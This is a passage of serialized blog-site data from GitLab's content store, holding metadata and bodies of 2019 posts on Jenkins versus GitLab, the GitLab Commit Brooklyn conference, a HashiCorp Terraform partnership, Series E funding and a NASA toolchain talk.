how important it is to unplug.”\n\nCover Photo by Trinity Treft on Unsplash.\n{: .note}\n",[3798,676],{"slug":27229,"featured":6,"template":678},"how-to-push-code-from-a-hammock","content:en-us:blog:how-to-push-code-from-a-hammock.yml","How To Push Code From A Hammock","en-us/blog/how-to-push-code-from-a-hammock.yml","en-us/blog/how-to-push-code-from-a-hammock",{"_path":27235,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27236,"content":27241,"config":27246,"_id":27248,"_type":16,"title":27249,"_source":17,"_file":27250,"_stem":27251,"_extension":20},"/en-us/blog/jenkins-one-year-later",{"title":27237,"description":27238,"ogTitle":27237,"ogDescription":27238,"noIndex":6,"ogImage":17364,"ogUrl":27239,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27239,"schema":27240},"Jenkins: One year later","With new acquisitions and the launch of CloudBees SDM, is Jenkins trying to become another all-in-one?","https://about.gitlab.com/blog/jenkins-one-year-later","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Jenkins: One year later\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-09-20\",\n      }",{"title":27237,"description":27238,"authors":27242,"heroImage":17364,"date":27243,"body":27244,"category":8943,"tags":27245},[18462],"2019-09-20","\n\nIt’s been a little over a year since we wrote about [how GitLab CI compares with the three variants of Jenkins](/blog/how-gitlab-ci-compares-with-the-three-variants-of-jenkins/). How have things changed – and how much has stayed the same?\n\n## Acquisitions\n\nIn April 2019, [CloudBees acquired Electric Cloud](https://www.businesswire.com/news/home/20190418005393/en/CloudBees-Acquires-Market-Leader-Electric-Cloud-Creating), a market leader in continuous delivery. This acquisition brought application release automation, continuous delivery, and continuous deployment under the Cloudbees umbrella through two of Electric Cloud’s premier products: ElectricFlow and ElectricAccelarator.\n\nThis acquisition came a little more than a year after [CloudBees acquired Codeship](https://techcrunch.com/2018/02/06/cloudbees-acquires-codeship-as-devops-consolidates/), another startup focused on continuous integration and delivery. These investments in continuous delivery tools are all about creating value. Because Jenkins doesn’t have continuous delivery built-in, it has to offer integrations with other tools (or acquire them) in order to offer that functionality. Acquisitions go a little deeper than just setting up an API, and are a lot more expensive. Could the acquisition of these two CD platforms give Jenkins the ability to offer CI/CD in their core product in the future?\n\n## Jenkins X\n\nThere has been a strong push by certain vendors to create a solution for combined CI/CD to match the capabilities of GitLab. GitHub developed GitHub Actions while CloudBees supported the development of Jenkins X, for example. Jenkins X was developed to automate continuous delivery pipelines to Kubernetes and cloud-native environments. [According to the Jenkins X website](https://jenkins-x.io/), “Rather than having to have deep knowledge of the internals of Jenkins X Pipeline, Jenkins X will default awesome pipelines for your projects that implement fully CI and CD.”\n\n## JenkinsWorld\n\nIn his [opening Keynote at JenkinsWorld 2018](https://www.youtube.com/watch?v=qE3tfS7k1VI&t=2s), CloudBees CTO Kohsuke Kawaguchi discussed some of the known unreliability of Jenkins and discussed how Cloud Native Jenkins could address some of these problems by removing the single point of failure and creating a more distributed system.\n\nAt JenkinsWorld 2019, [CloudBees offered an early preview of its CloudBees SDM Platform](https://www.businesswire.com/news/home/20190814005028/en/CloudBees-Presents-Software-Delivery-Management-SDM--).\n\nSource code management brings visibility and cross-functional collaboration into the SDLC, something that (until now) CloudBees could only offer through a plug-in. This new platform is a part of the CloudBees objective to be an end-to-end platform.\n\nWhat was most interesting was this quote from Sacha Labourey, CEO and co-founder of CloudBees:\n\n>“Organizations need a way to eliminate silos – to truly realize their vision of becoming software-first companies. This vision is Software Delivery Management and we are building the cohesive system our customers want. It will connect product stakeholders and development teams with the rest of the business, provide the intelligence and insights they all need to build software faster and provide increased value to their customers.”\n\nWe couldn’t agree more. ;)\n\n## A push for consolidation\n\nWith the acquisitions of Codeship and Electric Cloud, as well as the announcement of CloudBees SDM, it’s clear that CloudBees/Jenkins is pushing to be an end-to-end SDLC solution for its users. We’re seeing this throughout the industry: Idera purchasing Travis CI, Oracle acquiring Werker, JFrog’s acquisition of Shippable, and the launch of GitHub Actions just last month. Either through acquisitions or adding new features, [the app development industry is in a push for consolidation](/blog/built-in-ci-cd-version-control-secret/).\n\nToolchains get in the way of organizations enabling faster software delivery and realizing their maximum business impact. Where CloudBees/Jenkins has faltered is in its instability, mainly due to the thousands of third-party plugins it supports and the maintenance headaches they cause. At GitLab, we enable SDM, packaging, delivery, monitoring, and security in the product itself without the plugins.\n\nBecause [transparency is one of our values](https://handbook.gitlab.com/handbook/values/), we proudly display other DevOps tools directly on our website with [head-to-head comparisons](/devops-tools/jenkins-vs-gitlab/) so that organizations can know which platform works best for their needs.\n\nCompetition makes everyone else better, and with CloudBees/Jenkins amping up their consolidation efforts, how does that compare to us as an already all-in-one platform? We invite you to join us for a demo so you see how GitLab CI/CD compares to Jenkins firsthand.\n\n[See demo of GitLab CI/CD vs. Jenkins](/blog/migrating-from-jenkins/)\n{: .alert .alert-gitlab-purple .text-center}\n",[110,4103],{"slug":27247,"featured":6,"template":678},"jenkins-one-year-later","content:en-us:blog:jenkins-one-year-later.yml","Jenkins One Year Later","en-us/blog/jenkins-one-year-later.yml","en-us/blog/jenkins-one-year-later",{"_path":27253,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27254,"content":27260,"config":27265,"_id":27267,"_type":16,"title":27268,"_source":17,"_file":27269,"_stem":27270,"_extension":20},"/en-us/blog/wrapping-up-commit",{"title":27255,"description":27256,"ogTitle":27255,"ogDescription":27256,"noIndex":6,"ogImage":27257,"ogUrl":27258,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27258,"schema":27259},"Wrapping up GitLab Commit","From bagels to bowling with a healthy dose of DevSecOps and CI/CD in between, it was an epic day of learning and sharing at GitLab Commit Brooklyn.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680823/Blog/Hero%20Images/commit-brooklyn-graffiti-cover.jpg","https://about.gitlab.com/blog/wrapping-up-commit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Wrapping up GitLab Commit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-09-18\",\n      }",{"title":27255,"description":27256,"authors":27261,"heroImage":27257,"date":27262,"body":27263,"category":299,"tags":27264},[11618],"2019-09-18","\n\n***Relive GitLab Commit Brooklyn through the power of lights, cameras, and a pinch of Tanuki magic. Here's the [full YouTube playlist for the event](https://www.youtube.com/playlist?list=PLFGfElNsQthaaqEAb6ceZvYnZgzSM50Kg)!***\n\nIf there's anything you need to understand about GitLab's first ever user conference, it's this: I started the day with a New York bagel, learned how to create a CI/CD pipeline in just 20 minutes, found out [NASA will take GitLab into space](/blog/open-source-nasa-gl/), and it ended in a bowling alley... yes, it was _that_ kind of day.\n\nWe did a neighborhood takeover of a few blocks in the Williamsburg area of Brooklyn and before I even arrived at the venue, I knew something interesting was happening. There was wall grafitti and street graffiti.\n\n![street graffiti](https://about.gitlab.com/images/blogimages/commitbrooklynstreet.jpg){: .shadow.small.center}\nGitLab has arrived in Brooklyn!\n{: .note.text-center}\n\nOver 400 attendees gathered in brick-and-light-filled meeting spaces for conversation, demonstrations, laughter, and even a screaming chicken (the result of the CI/CD demo). It was an epic day of sharing, learning and exploring that could have felt overwhelming. Instead, the quirky informal spaces seemed to relax everyone and make it easier to actually listen and learn.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n  \u003Cblockquote class=\"twitter-tweet\" data-partner=\"tweetdeck\">\u003Cp lang=\"en\" dir=\"ltr\">THE live coding keynote is here! \u003Ca href=\"https://twitter.com/eddiezane?ref_src=twsrc%5Etfw\">@eddiezane\u003C/a> of \u003Ca href=\"https://twitter.com/digitalocean?ref_src=twsrc%5Etfw\">@digitalocean\u003C/a> introduces his “startup” Screaming Chicken at \u003Ca href=\"https://twitter.com/hashtag/GitLabCommit?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabCommit\u003C/a> and shows how he runs it on \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@GitLab\u003C/a> AutoDevops, \u003Ca href=\"https://twitter.com/hashtag/Kubernetes?src=hash&amp;ref_src=twsrc%5Etfw\">#Kubernetes\u003C/a> and DO. The audience is riveted! \u003Ca href=\"https://t.co/ibao6ngeNX\">pic.twitter.com/ibao6ngeNX\u003C/a>\u003C/p>&mdash; Priyanka Sharma @ #GitLabCommit Brooklyn! (@pritianka) \u003Ca href=\"https://twitter.com/pritianka/status/1173972101713276928?ref_src=twsrc%5Etfw\">September 17, 2019\u003C/a>\u003C/blockquote>\n  \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nThis was not anyone's typical idea of a user conference: no large, impersonal hotel, no pre-fab food, and no stilted conversations with total strangers. No one spent the day in frigid air conditioning. Instead everyone moved seamlessly from space to space, inside and outside, and it really was refreshing.\n\nLunch was refreshing too. It's not every day a gorilla brings you grilled cheese and tater tots under sunny skies.\n\n![Gorilla Grilled Cheese](https://about.gitlab.com/images/blogimages/commitbrooklyngorilla.jpg){: .shadow.small.center}\nThis was some grilled cheese!\n{: .note.text-center}\n\nAfter lunch, some people met up with our CEO [Sid Sijbrandij](/company/team/#sytses) while others attended individual tracks.\n\n![Office hours with Sid](https://about.gitlab.com/images/blogimages/commitbrooklynsid.jpg){: .shadow.small.center}\nMeet the CEO!\n{: .note.text-center}\n\nAn open coffee and tea bar (we took over the local coffee shop and my iced chai latte was delicious) fueled lots of conversations about the challenges we all face around DevOps.\n\n![iced chai](https://about.gitlab.com/images/blogimages/commitbrooklynchai.jpg){: .shadow.small.center}\nCheers!\n{: .note.text-center}\n\nAnd then it was time to, well, bowl.\n\n![Bowling](https://about.gitlab.com/images/blogimages/commitbrooklynbowling.jpg){: .shadow.small.center}\nGitLab at Brooklyn Bowl\n{: .note.text-center}\n\nIt might be bragging, but we really do throw a great party (and user conference, for that matter).\n\nIf you'd like to see for yourself, you'll have another chance to network with others on the same DevOps journey. Get your tickets to [Commit London on October 9](/events/commit/#). You can also read about news from Commit: [$268 million in Series E funding, new partners, and more](/blog/live-from-commit-news/), and check out the highlight reel below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/hi2D0Se_VnA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003C%= partial \"includes/blog/blog-merch-banner\" %>\n",[110,2704,277,4772,11037],{"slug":27266,"featured":6,"template":678},"wrapping-up-commit","content:en-us:blog:wrapping-up-commit.yml","Wrapping Up Commit","en-us/blog/wrapping-up-commit.yml","en-us/blog/wrapping-up-commit",{"_path":27272,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27273,"content":27279,"config":27287,"_id":27289,"_type":16,"title":27290,"_source":17,"_file":27291,"_stem":27292,"_extension":20},"/en-us/blog/gitlab-hashicorp-terraform-vault-pt-1",{"title":27274,"description":27275,"ogTitle":27274,"ogDescription":27275,"noIndex":6,"ogImage":27276,"ogUrl":27277,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27277,"schema":27278},"GitLab and HashiCorp streamline delivery workflows","Discover how to leverage CI/CD for your infrastructure scripts with Terraform and GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670238/Blog/Hero%20Images/gitlab-terraform-pipelines.jpg","https://about.gitlab.com/blog/gitlab-hashicorp-terraform-vault-pt-1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and HashiCorp: Providing application and infrastructure delivery workflows\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kelly Hair\"},{\"@type\":\"Person\",\"name\":\"Anthony Davanzo\"}],\n        \"datePublished\": \"2019-09-17\",\n      }",{"title":27280,"description":27275,"authors":27281,"heroImage":27276,"date":27284,"body":27285,"category":8943,"tags":27286},"GitLab and HashiCorp: Providing application and infrastructure delivery workflows",[27282,27283],"Kelly Hair","Anthony Davanzo","2019-09-17","\nA growing number of teams are becoming more and more invested in continually improving the business through iterative development. Adopting the culture of DevOps isn’t necessarily confined to software development itself, but is equally applicable to ITOps, System Admins, and other infrastructure teams as well. Just as a proper CI/CD workflow is the foundation of today’s application delivery, a similar automated workflow is essential for managing the delivery of infrastructure as well.\n\nAs developers try to become more agile in building, packing, and testing their applications, having the right CI/CD tool that is flexible to other automation use cases is critical. GitLab has gone into great detail about their [flexible CI/CD capabilities here](https://docs.gitlab.com/ee/ci/introduction/index.html#how-gitlab-cicd-works). What’s sometimes overlooked is implementing the proper CI/CD process for the underlying infrastructure that these applications rely on. In addition to application delivery, organizations need to consider what their infrastructure delivery process looks like. GitLab and HashiCorp have partnered to create a multi-blog series on how to combine the application delivery workflow with the infrastructure delivery workflow. In this part we will discuss a high-level overview of the solutions that we will dive deeper into in Part 2.\n\n## Leveraging HashiCorp Terraform for CI/CD Pipelines\n\n[HashiCorp Terraform](https://www.terraform.io/) is an open source tool for provisioning infrastructure as code. Users define infrastructure in HashiCorp Configuration Language (HCL) configuration files, Terraform reads those configurations, offers a speculative plan of what it will create, and then users confirm and apply those changes. Terraform keeps track of what infrastructure is provisioned in a state file.\n\nThe recently announced Terraform Cloud application provides users with additional automation and collaboration capabilities on top of Terraform, such as remotely managing and version that state file, executing Terraform runs (plan/apply) remotely, and allowing teams to comment and collaborate on Terraform. By remotely managing state files, Terraform Cloud empowers teams to work more quickly and safely in parallel without concerns of losing the file or overwriting each other's changes. These features are especially helpful for users implementing CI/CD pipelines because they allow users to interact with Terraform via webhooks/API instead of having Terraform run on a local machine.\n\nMost users will store their configuration files in a VCS (Version Control System) like GitLab and connect that VCS to Terraform Cloud. That connection allows users to borrow best practices from software engineering to version and iterate on infrastructure as code, using VCS and Terraform Cloud as a provisioning pipeline for infrastructure. Terraform will automatically run a plan upon changes to configuration files in a VCS. This plan can be reviewed by the team for safety and accuracy in the Terraform UI, then it can be applied to provision the specified infrastructure. Terraform Cloud can also be configured to automatically apply those changes.\n\nTerraform Cloud also includes a Governance upgrade, which provides access to the [Sentinel](https://www.hashicorp.com/sentinel) policy as code framework.  This framework allows users to define fine-grain rules and policies for their infrastructure that are automatically enforced before that infrastructure is provisioned. This allows users to work with the speed and efficiency they want in their continuous integration/delivery pipelines, while still ensuring that best practices are being implemented.\n\n### Future iterations\n\nIt is also worth discussing current work in progress with GitLab and Vault. Vault from Hashicorp secures, stores, and tightly controls access to tokens, passwords, certificates, API keys, and other secrets that services depend on. In efforts to improve [Variables and secrets management in GitLab CI/CD](https://gitlab.com/groups/gitlab-org/-/epics/816) we’re working with HashiCorp to provide a [first-class integration with Vault](https://gitlab.com/gitlab-org/gitlab-ce/issues/61053) sometime in the future.\n\n## Next steps\n\nAs a follow up, we will soon be posting a blog on the technical details of _how_ to build a Terraform pipeline in GitLab CI/CD.\n\nIn meantime, check out how [WagLabs reduced their release process from 40 minutes to just six](/blog/wag-labs-blog-post/), using Terraform and GitLab CI/CD!\n\n### About the authors\n\n_[Anthony Davanzo](https://www.linkedin.com/in/anthonydavanzo/) is the product marketing manager for Terraform Cloud at HashiCorp. In this role he focuses on bringing Terraform Cloud to market, hoping to drive adoption and spread awareness of the tool. His prior role as the technical product marketing manager for Terraform helps with deep domain knowledge and before HashiCorp, he was a product marketing manager at Cloudflare._\n\n_[Kelly Hair](/company/team/#khair1) is a solutions architect at GitLab._\n\nPhoto by [Saad Salim](https://unsplash.com/@saadx?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110,3949,4103,232,11037],{"slug":27288,"featured":6,"template":678},"gitlab-hashicorp-terraform-vault-pt-1","content:en-us:blog:gitlab-hashicorp-terraform-vault-pt-1.yml","Gitlab Hashicorp Terraform Vault Pt 1","en-us/blog/gitlab-hashicorp-terraform-vault-pt-1.yml","en-us/blog/gitlab-hashicorp-terraform-vault-pt-1",{"_path":27294,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27295,"content":27301,"config":27305,"_id":27307,"_type":16,"title":27308,"_source":17,"_file":27309,"_stem":27310,"_extension":20},"/en-us/blog/gitlab-series-e-funding",{"title":27296,"description":27297,"ogTitle":27296,"ogDescription":27297,"noIndex":6,"ogImage":27298,"ogUrl":27299,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27299,"schema":27300},"Announcing $268 million in Series E funding","New funding and our $2.75 billion valuation will allow us to enhance monitoring and security capabilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664134/Blog/Hero%20Images/gitlabcommitbrooklyn.png","https://about.gitlab.com/blog/gitlab-series-e-funding","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing $268 million in Series E funding\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2019-09-17\",\n      }",{"title":27296,"description":27297,"authors":27302,"heroImage":27298,"date":27284,"body":27303,"category":299,"tags":27304},[711],"We’re excited to share that GitLab has completed a $268 million Series E round of fundraising that pushed the company’s valuation to $2.75 billion. This latest funding round was led by existing investors Goldman Sachs and ICONIQ, but also included participation from nine new-to-GitLab investors.\n\nOur plans for the funding are straightforward: GitLab will invest to make all of our [DevOps platform](/topics/devops-platform/) offerings, including monitoring, security, and planning, _best in class_ so we can enable our [enterprise customers](/enterprise/) to continue to bring products to market faster.\n\nAt a time when the DevOps tools market is expected to triple by 2023 (from $5.2 billion last year to $15 billion, according to IDC), it was clear there was an opportunity for our company to pursue additional funding.\n“To be competitive today, companies need to be 10x faster to market. We made an early bet that enterprises would benefit from a single application experience for DevOps teams to accelerate getting software products to market faster and more securely,” says CEO [Sid Sijbrandij](/company/team/#sytses). “I love hearing how our customers are innovating faster with a single DevOps application that enables Dev, Ops, and Security to collaborate, and this funding will help more organizations experience the benefits of this unified DevOps experience.”\n\nToday more than 100,000 organizations use GitLab, including Ask Media Group, Charter Communication, Delta Air Lines, Goldman Sachs, Ticketmaster, Nvidia, and [many more](/customers/). We just found out we were ranked 32nd in the [Forbes 2019 Cloud 100](https://about.gitlab.com/2019-09-11-gitlab-named-leader-in-forbes-cloud-100-list/) – and we were the only cloud-agnostic DevOps tool maker named! Our ARR (annual recurring revenue) growth rate is 143%, a sign of customer satisfaction and strong demand.\n\n## A fast pace\n\nThis latest fundraising effort happened less than a year after we announced our [Series D round of $100 million](/blog/announcing-100m-series-d-funding/). At that time the company was valued at $1.1 billion; with today’s announcement, our valuation has more than doubled in less than a year.\n\nIt’s been an amazing journey to get to this point, and it’s worth remembering where we came from. In 2015 fewer than 10 people worked at GitLab; today over 800 team members contribute from 55 countries around the world. And we’re still growing, as our [222 open positions](/jobs/) show. More than 4,800 people actively contribute code to GitLab, and we receive an average of 180 improvements to each monthly release. In March 2019 we had [one million merge requests](/blog/1-mil-merge-requests/), which was a milestone indeed.\nWe’re on this journey together and we couldn’t be more excited to see where it takes us. Today you’ll find us at our first ever user conference, [GitLab Commit](/events/commit/), in Brooklyn and then again in London on October 9. We’re looking forward to the inspiring customer stories that have made this all possible.\n\nThe funding was announced live in the [keynote of GitLab Commit Brooklyn](https://www.youtube.com/watch?v=6LrgxOfWMXA&list=PLFGfElNsQthaaqEAb6ceZvYnZgzSM50Kg), also see [the playlist of all talks that day](https://www.youtube.com/playlist?list=PLFGfElNsQthaaqEAb6ceZvYnZgzSM50Kg).",[736,267,277,754,11037],{"slug":27306,"featured":6,"template":678},"gitlab-series-e-funding","content:en-us:blog:gitlab-series-e-funding.yml","Gitlab Series E Funding","en-us/blog/gitlab-series-e-funding.yml","en-us/blog/gitlab-series-e-funding",{"_path":27312,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27313,"content":27318,"config":27322,"_id":27324,"_type":16,"title":27325,"_source":17,"_file":27326,"_stem":27327,"_extension":20},"/en-us/blog/live-from-commit-news",{"title":27314,"description":27315,"ogTitle":27314,"ogDescription":27315,"noIndex":6,"ogImage":27298,"ogUrl":27316,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27316,"schema":27317},"At GitLab Commit, our product roadmap, new partners, and a new milestone","Live from GitLab Commit: what’s next for our product strategy, expanded partnerships, and more.","https://about.gitlab.com/blog/live-from-commit-news","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"At GitLab Commit, our product roadmap, new partners, and a new milestone\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-09-17\",\n      }",{"title":27314,"description":27315,"authors":27319,"heroImage":27298,"date":27284,"body":27320,"category":299,"tags":27321},[11618],"\nOur first ever user conference – GitLab Commit in Brooklyn – has only been under way for a few hours and we’ve already made a number of key announcements. Not only did we secure an additional [$268 million in Series E funding](/blog/gitlab-series-e-funding/) to power our DevOps journey forward, we’ve also strengthened key partnerships, hit new milestones, and released details about important new features in the product.\n\n## GitLab is for everyone\n\nIn the next few releases, look for GitLab to add advanced integration with the [Amazon Elastic Kubernetes](https://aws.amazon.com/eks/) service (EKS), something our CEO [Sid Sijbrandij](/company/team/#sytses) told the audience during his keynote at Commit. Sid also said the number of customers using GitLab with [Terraform by HashiCorp](/blog/gitlab-hashicorp-terraform-vault-pt-1/) is increasing at an exciting rate. This Ops-focused solution leverages GitLab’s CI/CD automated pipelines to better achieve infrastructure as code, a.k.a. GitOps. Lastly, later this year, look out for GitLab to integrate with HashiCorp’s very popular [Vault Project](https://www.vaultproject.io/docs/internals/security.html) that will protect secrets throughout the pipeline.\n\nMoving forward, Sid stressed that we believe everyone has a seat at the table. \"We will make our vision of a complete DevSecOps a reality for each and every one of you,\" says Sid.\n\nAnd for those who’ve been hoping for auto remediation, it’s coming, says [Mark Pundsack](/company/team/#markpundsack), vice president of product strategy, during his keynote. There is work to be done but the vision is clear: Necessary but repetitive security work will be automated in the near future.\n\nThat’s not the end, however. Mark outlined a future where operations and security teams have their own customized dashboards on GitLab, giving them access to the same information as developers. “A ton of people are involved with the development and delivery of software,” says Mark. “That is the ultimate GitLab vision: Where every knowledge worker involved with software development and delivery uses a single application so they are on the same page with the rest of their team members.” Ultimately GitLab will expand to the business side, bringing project managers, designers, legal, and executives into the mix. Mark’s final message: “GitLab is for everyone.”\n\n## GitLab & VMWare\n\n[GitLab and VMWare](https://www.globenewswire.com/news-release/2019/09/17/1916738/0/en/GitLab-to-Enable-Cloud-Native-Transformation-on-VMware-Cloud-Marketplace.html) announced a collaboration making [GitLab now available on the VMWare Cloud marketplace](https://about.gitlab.com/2019-09-17-gitlab-on-vmware-cloud-marketplace/). Development teams will be able to deploy and run [GitLab Enterprise (Core)](/pricing/) on their VMWare environments with just a few clicks. GitLab is packaged and supported by Bitnami which provides curated applications for the VMWare marketplace. GitLab also supports [“Continuous Verification”](https://thenewstack.io/how-continuous-security-can-solve-the-cloud-protection-conundrum/) by integrating with VMWare Secure State, Wavefront by VMWare, and CloudHealth.\n\n## KDE chooses GitLab\n\nKDE, an international technology community creating free and open source software for desktop and portable computing, [chose GitLab](https://www.globenewswire.com/news-release/2019/09/17/1916731/0/en/GitLab-Adopted-by-KDE-to-Foster-Open-Source-Contributions.html) for its developers. The KDE team wants to offer additional infrastructure support and thinks GitLab will help boost development momentum.\n\nThe KDE community is one of the largest free software communities with more than 2,600 contributors. Now they’ll have access to an even wider range of development and code review features with GitLab’s DevOps platform to complement their tools currently in use. The KDE community will have additional options for accessible infrastructure for contributors, code review integration with Git, streamlined infrastructure and tooling, and an open communication channel with the upstream GitLab community.\n\n## Forbes 2019 Cloud 100\n\nWe’re pretty excited to mention we’ve been named to the [Forbes 2019 Cloud 100](https://www.forbes.com/sites/mnunez/2019/09/11/a-truck-tracker-a-coder-toolbox-and-a-unicorn-from-down-under-inside-this-years-cloud-100/#6148bcad5653), the definitive ranking of the top 100 private cloud companies in the world, published by Forbes in partnership with Bessemer Venture Partners and Salesforce Ventures. We’re the only cloud-agnostic DevOps platform, and [we came in at number 32](https://about.gitlab.com/2019-09-11-gitlab-named-leader-in-forbes-cloud-100-list/)!\n\nIf you like what you’re hearing out of GitLab Commit Brooklyn, then join us at our next [GitLab Commit in London](/events/commit/#) on October 9.\n",[267,277,815,774,11037],{"slug":27323,"featured":6,"template":678},"live-from-commit-news","content:en-us:blog:live-from-commit-news.yml","Live From Commit News","en-us/blog/live-from-commit-news.yml","en-us/blog/live-from-commit-news",{"_path":27329,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27330,"content":27336,"config":27341,"_id":27343,"_type":16,"title":27344,"_source":17,"_file":27345,"_stem":27346,"_extension":20},"/en-us/blog/open-source-nasa-gl",{"title":27331,"description":27332,"ogTitle":27331,"ogDescription":27332,"noIndex":6,"ogImage":27333,"ogUrl":27334,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27334,"schema":27335},"MRI Technologies used GitLab for unified toolchains to NASA","Live from GitLab Commit: NASA will be flying Kubernetes clusters to the moon and GitLab is helping.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678434/Blog/Hero%20Images/nasagitlab.jpg","https://about.gitlab.com/blog/open-source-nasa-gl","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Commit: How MRI Technologies used GitLab to bring unified toolchains to NASA\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-09-17\",\n      }",{"title":27337,"description":27332,"authors":27338,"heroImage":27333,"date":27284,"body":27339,"category":813,"tags":27340},"GitLab Commit: How MRI Technologies used GitLab to bring unified toolchains to NASA",[11618],"\nNASA can put [Rovers on Mars](https://mars.nasa.gov/mer/), but a complex legacy software system proved a bit of a challenge. Speaking at GitLab Commit in Brooklyn, [Marshall Cottrell](https://www.linkedin.com/in/marshall-cottrell-27b385181) of [MRI Technologies](https://www.mricompany.com) explained how the company teamed up with NASA to launch the space agency into the era of modern application development using Kubernetes and GitLab.\n\nIn September 2018 MRI began work on a new software development platform called APPDAT. \"It's the only platform taking a totally 'fresh approach' to application development and data science activities within the Agency,\" Marshall said. The team's challenge was to update an Oracle-based legacy SCM solution using open source technologies and APIs. At the time NASA had no toolchains to support CI/CD during development and lots of silos of information. \"There was no mechanism for us to disseminate innovations, best practices, or what we learned,\" Marshall said. NASA needed a unified toolchain and platform for software delivery. \"GitLab was chosen as the platform source control management solution because it is the only product in this space that integrates all stages of the DevSecOps lifecycle.\"\n\n## A laser focus helps\n\nPerhaps not surprisingly MRI had ambitious goals for APPDAT, Marshall explained. The overarching hope was to build an automated DevOps platform that served as the single source of truth. Until MRI got involved, NASA had no way to actually \"own\" the software development process; teams operated in a piecemeal fashion, choosing contractors and solutions based on situational needs rather than looking at the big picture. Those decisions left NASA subject to potentially \"abusive behavior,\" Marshall explained.\n\nSo MRI laid out a number of goals:\n\n- Empower teams to fully manage the resources they support\n- Demonstrate and promote fully open project management and collaboration\n- Create a sandbox for protoyping with no barriers to entry\n- Assemble an API and data economy that would eliminate silos and promote reusability\n- Establish platform-level security controls with a goal of \"compliant by fault\"\n\nTo get there, MRI emphasized collaboration and tried to reach out to the \"forward-leaning\" customers and individual civil servant developers, engineers and researchers who were eager to contribute. The team adhered strictly to cloud native, Zero Trust and open source approaches and, in the end, came up with a Kubernetes platform that met the space agency's needs for today and in the future. The technology choices were important, but so was the time spent laying the groundwork for a culture change. \"Many modernization proposals try to meet everyone where they're at,\" Marshall explained. \"A more opinionated approach allows us to provide a succinct and unified toolchain that all parties can contribute to, evolve, and improve over time.\"\n\nToday the 61-year old space agency has a modern platform where developers can easily collaborate with non-developers, no complex tooling is required, and context switching is a thing of the past, Marshall said. APPDAT syncs from the agency's existing SCM solutions so everyone was able to continue to use the same tools.\n\nPerhaps most exciting, NASA's plans to have astronauts established on the moon by 2024 as part of the [Artemis program](https://www.nasa.gov/what-is-artemis). That will include a data center, and Marshall is confident Kubernetes will be part of the launch.\n\n\"We’ve already begun to change minds at NASA and you can do it at your enterprise too,\" Marshall said. His last best advice: Play the long game, only innovate when it makes things easier, and a bottom-up approach is an easy way to make friends.\n\nWatch Marshall's entire presentation here:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/RsUw4Ueyn-c\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nDon't miss out on the chance to network with others on the same DevOps journey. Get your tickets to [Commit London on October 9](/events/commit/).\n\nCover image by [David Torres](https://unsplash.com/@djjabbua) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[3049,2509,4772,815,11037],{"slug":27342,"featured":6,"template":678},"open-source-nasa-gl","content:en-us:blog:open-source-nasa-gl.yml","Open Source Nasa Gl","en-us/blog/open-source-nasa-gl.yml","en-us/blog/open-source-nasa-gl",{"_path":27348,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27349,"content":27354,"config":27359,"_id":27361,"_type":16,"title":27362,"_source":17,"_file":27363,"_stem":27364,"_extension":20},"/en-us/blog/security-testing-principles-developer",{"title":27350,"description":27351,"ogTitle":27350,"ogDescription":27351,"noIndex":6,"ogImage":16177,"ogUrl":27352,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27352,"schema":27353},"5 Security testing principles every developer should know","Developers are looking for guidance and standard practices as they take on more security testing responsibilities.","https://about.gitlab.com/blog/security-testing-principles-developer","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n    